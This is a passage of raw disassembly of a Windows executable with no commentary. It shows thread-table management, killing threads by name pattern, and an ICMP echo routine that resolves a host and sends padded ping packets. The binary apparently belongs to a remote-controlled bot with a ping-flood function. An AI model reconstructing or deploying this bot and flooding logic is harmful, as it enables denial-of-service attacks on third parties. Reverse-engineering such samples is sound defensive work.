ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call ds:dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: .text:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call ds:dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call ds:dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2D0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call ds:dword_4170D0 ; GetTickCount sub eax, dword_41E2D0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: .text:004168C6p push ebp mov ebp, esp and dword_41E2F0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2F8, eax push offset dword_41E2D8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; --------------------------------------------------------------------------- loc_4093B6: ; DATA XREF: sub_409479+35o push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp-18h], esp and dword ptr [ebp-20h], 0 and dword ptr [ebp-1Ch], 0 and dword ptr [ebp-4], 0 mov eax, [ebp+8] mov eax, [eax] mov [ebp-20h], eax mov eax, [ebp+8] mov eax, [eax+4] mov [ebp-1Ch], eax push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push dword ptr [ebp-20h] call ds:dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE38, 0 jz short loc_40942F push dword ptr [ebp-20h] push offset dword_419474 push offset aLast ; "#last" call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: .text:00409418j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: .text:0040940Fj push dword ptr [ebp-1Ch] call dword ptr [ebp-20h] mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-24h] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: .text:loc_40942Fj or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- aHpfa db 'hp”A',0 aHhfa db 'hh”A',0 db 0FFh dd 0D0E8EC75h, 83FFFF9Eh, 8BC30CC4h, 4D83E865h db 0FCh, 0FFh ; --------------------------------------------------------------------------- loc_409466: ; CODE XREF: .text:00409447j xor eax, eax loc_409468: ; CODE XREF: .text:00409441j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: .text:00407797p ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset loc_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call ds:dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; --------------------------------------------------------------------------- loc_4094E6: ; DATA XREF: sub_4095A4+159o push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp-18h], esp mov al, byte_41DE30 mov [ebp-19Ch], al push 60h pop ecx xor eax, eax lea edi, [ebp-19Bh] rep stosd stosw stosb and dword ptr [ebp-4], 0 mov eax, [ebp+8] mov eax, [eax] mov eax, [eax+10h] mov [ebp-1A0h], eax mov eax, [ebp+8] mov eax, [eax] add eax, 14h push eax lea eax, [ebp-19Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push dword ptr [ebp+8] mov eax, [ebp+8] mov eax, [eax] call dword ptr [eax+10h] mov [ebp-1A4h], eax or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-1A4h] jmp short loc_409593 ; --------------------------------------------------------------------------- dw 858Dh dd 0FFFFFE64h, 94686850h, 75FF0041h, 9DA5E8ECh, 0C483FFFFh dd 658BC30Ch, 0FC4D83E8h db 0FFh, 33h, 0C0h ; --------------------------------------------------------------------------- loc_409593: ; CODE XREF: .text:00409570j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2D8 call sub_409C6C pop ecx cmp dword_41E2F0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2F0 inc eax mov dword_41E2F0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset loc_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2D8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: .text:004012B7p ; .text:0040178Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2D8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call ds:dword_4170E0 ; TerminateThread push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call ds:dword_4170E0 ; TerminateThread push [ebp+var_19C] call ds:dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2D8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; --------------------------------------------------------------------------- loc_409AD5: ; DATA XREF: sub_409BF1+2Ao push ebp mov ebp, esp sub esp, 1A8h push 1A3h push dword ptr [ebp+8] lea eax, [ebp-1A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx cmp dword_41E2F0, 0 jz short loc_409B25 push 10h push dword_41E2F0 push offset dword_4194EC lea eax, [ebp-1A8h] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: .text:00409B05j push offset dword_4194CC lea eax, [ebp-1A8h] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: .text:00409B23j push offset dword_41E2D8 call sub_409C6C pop ecx and byte ptr [ebp-10h], 0 and dword ptr [ebp-4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: .text:loc_409BDBj mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_409B5B: ; CODE XREF: .text:00409B52j cmp dword ptr [ebp-4], 10h jge short loc_409BE0 mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2D8 call sub_409C7A pop ecx push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax push dword ptr [ebp-4] push offset dword_4194BC lea eax, [ebp-1A8h] push eax call sub_40D53F add esp, 10h mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: .text:00409B75j ; .text:00409BD7j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: .text:00409B5Fj ; .text:00409BD9j push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: .text:00409B3Aj leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset loc_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE40, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE40 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call ds:dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: .text:0040333Bp ; .text:00411928p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: .text:00409FD2p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2FC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E308 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call ds:dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E304 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; --------------------------------------------------------------------------- loc_409DD0: ; DATA XREF: sub_40A1A7+FDo push ebp mov ebp, esp sub esp, 2F0h push 2ACh push dword ptr [ebp+8] lea eax, [ebp-2B0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movzx eax, byte_41E310 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call ds:dword_417054 ; LoadLibraryA mov dword_41E300, eax cmp dword_41E300, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: .text:00409E1Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E2FC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E308, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E300 call ds:dword_417058 ; GetProcAddress mov dword_41E304, eax mov byte_41E310, 1 loc_409E6D: ; CODE XREF: .text:00409E02j cmp dword_41E2FC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: .text:00409E74j cmp dword_41E308, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: .text:00409E84j cmp dword_41E304, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: .text:00409E94j lea eax, [ebp-10Dh] mov [ebp-2B8h], eax push dword ptr [ebp-2B8h] call ds:dword_417244 ; inet_addr mov [ebp-2BCh], eax cmp dword ptr [ebp-2BCh], 0FFFFFFFFh jnz short loc_409F18 push dword ptr [ebp-2B8h] call ds:dword_41723C ; gethostbyname mov [ebp-2C0h], eax cmp dword ptr [ebp-2C0h], 0 jz short loc_409F06 mov eax, [ebp-2C0h] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp-2C0h] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp-2BCh] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: .text:00409EDDj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: .text:00409EC2j ; .text:00409F04j and dword ptr [ebp-4], 0 mov byte ptr [ebp-2B4h], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: .text:loc_40A19Cj 